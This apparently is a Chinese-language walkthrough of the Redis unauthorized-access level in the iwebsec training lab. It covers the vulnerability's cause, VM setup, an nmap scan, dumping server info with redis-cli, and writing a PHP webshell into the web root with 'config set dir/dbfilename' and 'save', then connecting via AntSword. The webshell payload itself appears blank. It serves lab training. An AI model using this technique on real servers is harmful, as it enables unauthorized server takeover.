iwebsec靶场 数据库漏洞通关2-Redis数据库漏洞
创始人
2024-02-12 12:28:54

iwebsec靶场的redis漏洞为未授权漏洞,如下所示。

一、Redis未授权漏洞原因

那么这个未授权漏洞的原理是什么呢?Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务

二、渗透环境搭建

首先在自己的机器搭建渗透环境,Kali虚拟机系统作为攻击方,iwebsec的ubuntu虚拟机作为渗透靶场,为了保证两台机器可以互通,将两台虚拟机都设置为vmnet8的nat方式连接。

1.Kali系统作为攻击方配置环境

在进行渗透的过程中,使用Kali作为攻击主机,首先需要kali系统使用redis客户端连接到靶机的redis服务器,即攻击端需要安装redis客户端。

(1)Kali攻击主机环境配置

使用ifconfig -a命令获取ip地址,这里选择vmnet8网段的192.168.71.129

 这样如果靶机启动redis服务进程后,就可以使用测试攻击机Kali中的redis-cli程序和靶机的redis服务交互了。

(2)既然使用kali系统作为攻击主机,那么攻击机需要可以使用redis-cli程序来连接靶机的redis服务程序。于是需要使用apt-get install redis-server安装redis,为避免安装失败可以先进行update,如下所示

sudo apt-get update
sudo apt-get install redis-server -y

安装过程如下所示

(3) 安装成功后执行redis-cli -h确认安装是否成功

sudo redis-cli -h

 当展示出如下界面时,代表安装redis成功


 

 2.获取靶机Redis服务器的ip地址与开启的端口号

 (1)打开iwebsec虚拟机,通过ifconfig -a确认kali可以访问的同一网段的ip地址,如下所示这里选择使用vmnet8同一网段的ip地址192.168.71.151

(2)打开iwebsec靶场,如下所示关卡的最后一关为redis数据库漏洞

点开后效果如下,提示redis端口为6379,用户名密码为空,正好满足前面我们讲过的redis未授权漏洞存在的前提。

3.获取redis服务器的端口号

如上图所示,iwebsec实际上是使用docker搭建的,也就是说这个ubuntu虚拟机中通关docker搭建的iwebsec靶场。docker中开启的redis端口与这台ubuntu虚拟靶机之间具有端口映射关系,这个端口映射是一一对应关系。接下来要做的就是通过docker命令查询这个映射关系,以确定docker中的iwebsec在ubuntu中的端口号是什么

1)通过首先使用docker ps获取到容器的id

docker ps

运行结果如下,docker容器的id为bc23a49cb37c

 如上端口号中有0.0.0.0:6379->6379/tcp,也就是说docker容器中的3306端口号映射到ubuntu虚拟机的6379端口号,那么也就是说通过访问ubuntu的6379端口即可访问到靶机的Redis服务

2)在ubuntu iwebsec虚拟机中此时使用netstat -ano|grep 6379时

netstat -ano|grep 6379

如下显示出此端口已经打开

三、Redis渗透

1.Kali使用Nmap扫描靶机

我们在攻击机使用nmap尝试扫描靶机,命令如下

nmap 192.168.71.151 -p 6379

看看是否能扫描出redis服务端口号

2.Redis敏感信息获取

kali攻击机(模拟redis客户端)执行命令,

sudo redis-cli -h 192.168.71.151

 连接成功后在出现的交互界面中输入info

info

效果如下

 如上所示,直接获取到靶机redis服务的敏感信息

3.Redis上传webshell获取控制权

接下来打算在网站根目录下放置一个webshell

(1)在网站的根目录/var/www/html下写一个webshell脚本,配置方法为

config set dir /var/www/html

(2)脚本名称为shell.php

config set dbfilename shell.php

(3)脚本内容为

set webshell ""

综上整体渗透脚本为

sudo redis-cli   -h   192.168.71.151
config set dir /var/www/html
config set dbfilename shell.php
set webshell ""
save

渗透交互如下所示

 (4)使用浏览器访问webshell,执行cmd=phpinfo()获取服务器的php信息,如下所示
由于webshell脚本被放到根目录中,故而webshell的url链接为 http://192.168.71.151/shell.php 
post参数为 cmd=phpinfo();

 如上所示渗透成功

(5)蚁剑验证webshell上传成功

如下所示,webshell的url链接为 http://192.168.71.151/shell.php 连接密码为cmd

 新增后效果如下,选择文件管理

如下所示,渗透成功

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...